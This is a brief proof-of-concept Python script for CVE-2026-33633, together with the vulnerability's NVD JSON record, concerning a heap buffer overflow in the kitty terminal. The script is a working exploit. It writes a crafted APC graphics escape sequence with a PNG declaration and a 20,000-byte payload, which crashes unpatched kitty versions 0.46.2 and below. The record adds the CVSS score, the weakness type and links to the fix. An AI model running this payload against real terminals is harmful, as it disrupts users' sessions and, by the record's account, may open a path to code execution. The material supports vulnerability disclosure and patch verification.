CVE-2026-33633

# Proof of Concept for CVE-2026-33633 # This script generates a malicious APC graphics command to trigger the heap buffer overflow. import sys # Construct a large payload to exceed the buffer capacity # The vulnerability is triggered when the payload exceeds 2x the initial buffer size payload_size = 20000 malicious_payload = "A" * payload_size # Build the APC graphics protocol command # ESC _ G ... ESC \ # f=100 denotes PNG format poc_command = f"\x1b_Gf=100;{malicious_payload}\x1b\\" # Output the payload to the terminal's stdin sys.stdout.write(poc_command) sys.stdout.flush()

{"cve": {"id": "CVE-2026-33633", "sourceIdentifier": "[email protected]", "published": "2026-05-19T18:16:21.343", "lastModified": "2026-05-19T21:08:41.030", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kitty is a cross-platform GPU based terminal. Versions 0.46.2 and below contain a heap buffer overflow in load_image_data() that allows any process which can write to the terminal's stdin to crash kitty immediately. The vulnerability is triggered by a single APC graphics protocol command with a PNG format declaration (f=100) whose payload exceeds twice the initial buffer capacity. The overflow is attacker-controlled in both length and content, causing DoS and potentially escalation to RCE itself. This issue has been fixed in version 0.47.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://github.com/kovidgoyal/kitty/commit/e9661f0f3afb4e4dbffa509adfb3df3c9780ad34", "source": "[email protected]"}, {"url": "https://github.com/kovidgoyal/kitty/security/advisories/GHSA-j68c-v8x4-269g", "source": "[email protected]"}, {"url": "https://github.com/kovidgoyal/kitty/security/advisories/GHSA-j68c-v8x4-269g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}